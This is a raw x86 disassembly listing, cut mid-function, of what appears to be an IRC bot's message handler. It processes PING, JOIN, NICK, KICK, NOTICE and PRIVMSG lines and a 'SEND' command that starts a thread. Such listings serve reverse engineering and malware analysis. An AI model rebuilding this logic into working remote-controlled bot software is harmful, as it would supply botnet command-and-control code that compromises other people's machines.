var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
